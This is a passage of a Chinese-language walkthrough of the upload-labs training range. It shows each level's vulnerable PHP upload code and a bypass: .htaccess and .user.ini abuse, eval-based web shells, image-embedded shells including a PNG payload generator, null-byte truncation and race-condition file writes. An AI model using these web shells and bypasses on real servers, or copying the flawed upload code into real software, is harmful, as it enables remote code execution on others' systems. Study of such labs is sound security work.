- Pass-01 JS检查
- Pass-02 MIME 类型校验
- Pass-03 黑名单
- Pass-04 .htaccess的妙用
- Pass-05 .user.ini的使用
- Pass-06 大小写混写绕过
- Pass-07 空格绕过
- Pass-08 点绕过
- Pass-09 ::$DATA绕过
- Pass-10 点空点绕过
- Pass-11 双写文件名绕过
- Pass-12 %00截断 GET型
- Pass-13 %00截断 POST型
- Pass-14 文件头检查绕过
- Pass-15 getimagesize()检测绕过
- Pass-16 exif_imagetype()检测绕过
- Pass-17 二次渲染
- Pass-18 条件竞争
- Pass-19 条件竞争
- Pass-20 move_uploaded_file缺陷
- Pass-21 数组判断绕过
- 后记
原文 https://www.yuque.com/ni4n/blogs/sdby0f
Pass-01 JS检查
首先,通过审计,文件上传部分是没有问题的。
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
//判断路径是否存在
if (file_exists(UPLOAD_PATH)) {
//存储在服务器的文件的临时副本的名称
$temp_file = $_FILES['upload_file']['tmp_name']
//上传文件路径;
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
//如果 upload 目录不存在该文件则将文件上传到 upload 目录下
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
然后是有一个文件检查函数,是用的JavaScript写的;即js检测,属于前端检查
<script type="text/javascript">
function checkFile() {
//获取上传文件名字
var file = document.getElementsByName('upload_file')[0].value;
//如果文件不存在,提示上传
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//(获取点以后的字符)提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//如果上传的文件名称不在允许列表内
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
针对前端绕过,可以通过上传文件名为允许列表中的名字,然后抓包修改为php然后上传;或者禁用JS;有能力还可以调试JS。不过本人觉得第一种方法最简单。
Pass-02 MIME 类型校验
本关是对文件上传部分就进行了检查,不过只对Content-Type字段进行了检查
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
//此处校验Content-Type头是否为image/jpeg,image/png或image/gif
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
?>
因此,可以在上传php文件时抓包Content-Type头修改为列表内允许的即可。
修改前
修改后
Pass-03 黑名单
本关对上传的文件后缀名采用了黑名单限制,但是还不够严格;此处还对上传文件进行了重命名,不过我们可以根据返回的包看到它的真实文件名。
<?php
//过滤了点,限制了大小写混写,过滤了::$DATA,首尾去空,采用黑名单机制限制上传
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');//定义黑名单
$file_name = trim($_FILES['upload_file']['name']);//上传的文件名
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//从点开始往后返回字符,即提取第一次处理后的文件后缀
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if(!in_array($file_ext, $deny_ext)) {//判断处理后的文件后缀是否在黑名单内
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; //生成随机文件名
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
根据apeach的特性,apeach在一定条件下可以解析phtml,php3,php4,php5,pht,php;因此可以尝试上传这些文件类型。此处我用到是phtml文件,成功解析。
Pass-04 .htaccess的妙用
本关与上一关相比,对黑名单的限制进行了大大的增强,但是没有禁用.htaccess文件;同时在上传之后没有对文件重命名,这对我们利用.htaccess文件提供了条件。当然嗷,前提是apeach配置文件中写有AllowOverride All
而且加载mod_Rewrite模块。
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
我们可以创建一个.htaccess
文件,文件内容如下;使得apeach可以使任何文件都以php文件解析
SetHandler application/x-httpd-php
然后上传一个png等合法文件,访问结果如下。
.htaccess文件
一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)。
在前提条件满足的情况下,利用.htaccess文件可以对其进行配置使得Apeach可以使任意文件解析为php;一般有以下几种写法。
SetHandler application/x-httpd-php
//使得任意文件都以php文件解析
AddType application/x-httpd-php xxx
//使该.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//使Apache把shell.jpg文件解析为php文件
另一种解法
apeach认为文件可以有多个后缀名,他会从文件的最右面开始解析,直到它解析到它认识的为止,因此此处可以上传一个N.php.a的文件以绕过检查。
Pass-05 .user.ini的使用
本关代码和上关类似,不过禁用了.htaccess文件,但是没有限制.user.ini文件。而且上传目录还有个readme.php文件
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
我们可以创建一个.user.ini文件,然后上传;内容如下
auto_prepend_file=a.jpg
然后上传一个a.jpg的马
<?php @eval($_POST['pass'])?>
此时去连接readme.php即可获得shell。(但是我这个靶场环境可能有问题,没有成功)
.user.ini
简单地来说,就是可以作为类似.htaccess的配置文件使用,而且不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
在.user.ini中有这么两项
auto_prepend_file //在页面顶部加载文件
auto_append_file //在页面底部加载文件
即auto_prepend_file=a.jpg
表示,使所有php文件都包含该图片。
不过也存在使用前提:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
而且经过尝试,上一关的另一种解题方式在这一关也适用。
Pass-06 大小写混写绕过
本关对黑名单做了很严格的限制,但是此处仍存在漏洞;in_arry()
在搜索时会区分大小写;而且本关代码删掉了将文件后缀转为小写的部分。
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {//搜索时区分大小写
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;//修改名字
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
我们可以上传一个后缀为.Php的文件,然后访问其真实路径
Pass-07 空格绕过
本关和上一关区别就是加上了转换为小写的代码;但删除了对空格的限制。
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;//修改文件后缀名
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
我们可以上传文件时抓包,在其后缀名后面加一个空格,然后访问真实路径
但是本关应该在Windows系统下才可以,因为windows系统会自动去掉不符合规则符号后面的内容
Pass-08 点绕过
很明显,本关缺少了对点的限制。
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
本关同样利用上一关中提到的Windows的特性,抓包,在文件后缀名后加点,即可绕过
Pass-09 ::$DATA绕过
可以看到,本关是没有限制::$DATA
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;//修改文件名
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
我们可以利用Windows的另一个特性:
在php+windows的情况下:如果文件名+::$DATA
会把::DATA”之前的文件名。利用windows特性,可在后缀名中加
::$DATA
绕过
Pass-10 点空点绕过
本关,
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name; //文件名拼接的是仅对后缀去点处理的名字
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
我们可以采用网上的方式,上传php文件抓包,对其后缀增加点空格点,即可绕过,也可以上传N.php.a进行绕过。
Pass-11 双写文件名绕过
这一关依然是黑名单限制,但是,在这里是用str_ireplace
对黑名单后缀名替换为空。
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name); //将黑名单中的文件名替换为空
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
由于str_ireplace
在替换时只查找一次,因此可以采用后缀双写的方式进行绕过;即上传后缀名为.pphphp
这样在处理后,后缀名依然为.php
Pass-12 %00截断 GET型
这一关,采用白名单方式限制,但是文件路径直接拼接,且以GET方式传向后端。
<?php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; //文件路径直接拼接,且以GET方式传向后端
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
?>
我们可以将上传文件名改为png后缀,然后save_path=../upload/
改为save_path=../upload/N.php%00
然后上传,访问N.php
0x00截断原理
php内核是以C语言实现的,所以使用了C语言中的一些字符串处理函数。比如在连接字符串时,0字节(0x00)将作为字符串结束符,所以在路径后添加0字节之后,其在拼接时到N.php便停止了。因此最终保留下的文件即为N.php。
另外,此处是以GET方式传递的,这样会默认URL解码一次,而%00解码后即为0字节。
利用前提:
php版本小于5.3.4,php的magic_quotes_gpc为OFF状态
Pass-13 %00截断 POST型
<?php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
?>
本关和上一关不同的只是以POST方式传向后端;因此手法有一点点不同;就是在抓包之后,添加%00后要对%00进行手动的URL解码
Pass-14 文件头检查绕过
很简单嗷,通过读取上传文件内容的前两个字节,判断文件头看是否在白名单里。
<?php
//检查文件头是否符合条件
function getReailFileType($filename){
$file = fopen($filename, "rb"); //打开文件
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);//从二进制字符串对数据进行解包
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); //转换为整数
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
?>
我们只需要生成个图片马即可绕过,不过要配合文件包含漏洞使用。
由于它只检测头部因此我们传入一个内容如下的php文件即可
GIF89a
<?php phpinfo(); ?>
也可以用一张图片加一个php文件生成图片马。
copy 22.jpg /b + 1.php /a shell.jpg
Pass-15 getimagesize()检测绕过
本关用getimagesize函数对上传文件类型进行判断。
<?php
//检测文件是否为图片
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);//获取文件信息
$ext = image_type_to_extension($info[2]);//返回文件类型
if(stripos($types,$ext)>=0){//判断是否为图片
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
?>
我们仍然使用图片马即可绕过。
Pass-16 exif_imagetype()检测绕过
本关是用exif_imagetype函数对文件类型进行检测。
<?php
function isImage($filename){
//需要开启php_exif模块
//判断文件类型
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
?>
用图片马依然可以绕过。
Pass-17 二次渲染
本关首先对文件后缀名做了白名单限制,并对文件类型进行检测,对合法文件又进行二次渲染
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
?>
针对不同类型图片有不同的处理方式进行绕过
GIF
将准备好的gif文件上传到目标网站,然后将渲染后的gif图导出,用010Editor
对两个文件内容对比;然后将payload插入到灰色(即渲染前后没有发生变化的部分)然后上传即可。
PNG
有两种方式可以处理。
写入 PLTE 数据块
这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03
为索引彩色图像,所以还是有所限制的。
我们可以利用一个脚本对符合条件的图片进行处理,生成图片马
python poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o shell.png old.png
写入IDAT数据块
这里可以用一个大牛的代码,运行后在当前目录生成一个名为shell.png的图片马。
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./shell.png');
?>
我们看一下这个马
使用方法,用文件包含漏洞访问
http://127.0.0.1/?0=system&file=./upload/4.png
POST执行命令
1=ls
JPG
这里使用jpg_payload.php
首先要将jpg文件传到目标网站再导出;然后处理。
php jpg_payload.php b.jpg
此时上传即可。
关于二次渲染具体可参考该链接
Pass-18 条件竞争
可以看到,虽然对文件名进行了白名单限制,但是该代码是先上传,后检查的;因此在上传和删除之间存在一个时间差,导致条件竞争。
<?php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){ //上传
if(in_array($file_ext,$ext_arr)){ //检查
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
?>
我们可以先上传一个文件内容如下的php文件,文件名为N.php
代码的作用是创建一个php文件;内容可以自己改
<?php
$f=fopen("shell.php","w");
fputs($f,'<?php phpinfo(); ?>');
?>
上传之后抓包,然后空值无限爆破发包
然后访问N.php,抓包,同样空值爆破。直到有200的返回包,此时会在上传目录下生成一个shell.php文件。
此时访问shell.php,可以发现成功了。
Pass-19 条件竞争
这一关,我们对upload
函数分析可以发现,文件是先上传,然后才重命名,因此存在条件竞争漏洞,而且如果对其多次快速提交可能会来不及重命名;但是在上传前对文件的内容和后缀进行了严格的限制,但是我们发现它在白名单里有个7z
。
<?php
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();//新名字
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
?>
<?php
// MyUpload.php
class MyUpload{
var $cls_upload_dir = ""; // Directory to upload to.上传目录
var $cls_filename = ""; // Name of the upload file.上传文件名
var $cls_tmp_filename = ""; // TMP file Name (tmp name by php).临时文件名
var $cls_max_filesize = 33554432; // Max file size.允许文件最大的大小
var $cls_filesize =""; // Actual file size.上传文件的大小
var $cls_arr_ext_accepted = array(//白名单
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
var $cls_file_exists = 0; // Set to 1 to check if file exist before upload.
var $cls_rename_file = 1; // Set to 1 to rename file after upload.
var $cls_file_rename_to = ''; // New name for the file after upload.
var $cls_verbal = 0; // Set to 1 to return an a string instead of an error code.
function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
$this->cls_filename = $file_name;
$this->cls_tmp_filename = $tmp_file_name;
$this->cls_filesize = $file_size;
